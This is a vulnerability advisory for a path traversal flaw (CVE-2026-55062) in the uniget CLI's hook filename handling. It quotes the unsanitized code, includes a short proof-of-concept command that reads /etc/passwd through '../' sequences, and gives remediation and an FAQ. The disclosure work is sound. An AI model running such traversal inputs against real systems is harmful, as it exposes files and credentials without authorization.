CVE-2026-55062: Path Traversal
Summary Path Traversal vulnerability in hook filename handling allows attackers to access and manipulate arbitrary files outside the hooks directory via directory escape sequences like passwd.
Details File: hooks.go Lines 135-160 hookFileName := args[0] // User input not validated hookFile = preInstallHooksDir + "/" + hookFileName // Direct concatenation
Hook filenames are concatenated directly without sanitizing ../ sequences, allowing directory traversal.
PoC Step 1: Set cat as editor export EDITOR="cat" Step 2: Read /etc/passwd via path traversal
./uniget hooks edit --type=pre-install "../../../../etc/passwd"
Step 3: Output shows file contents root:x:0:0:root:/root:/bin/bash daemon:x:2:2:daemon:/sbin:/sbin/nologin [...]
<img width="1014" height="178" alt="image" src="https://github.com/user-attachments/assets/0db0fe7e-533b-4d8e-a346-81886ce866ab" />
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
go/gitlab.com/uniget-org/clito a version that resolves this vulnerability.Fixed in 0.27.6
Event History
Frequently Asked Questions
What is the severity of CVE-2026-55062?
CVE-2026-55062 has a risk level of 52, indicating a moderate severity path traversal vulnerability.
How do I fix CVE-2026-55062?
To fix CVE-2026-55062, update to the latest version of the software that addresses this vulnerability.
What type of vulnerability is CVE-2026-55062?
CVE-2026-55062 is classified as a path traversal vulnerability, allowing unauthorized file access.
Who is affected by CVE-2026-55062?
Users of the go/gitlab.com/uniget-org/cli software that utilize hook filename handling are affected by CVE-2026-55062.
What can attackers do with CVE-2026-55062?
Attackers exploiting CVE-2026-55062 can access and manipulate arbitrary files outside of the hooks directory.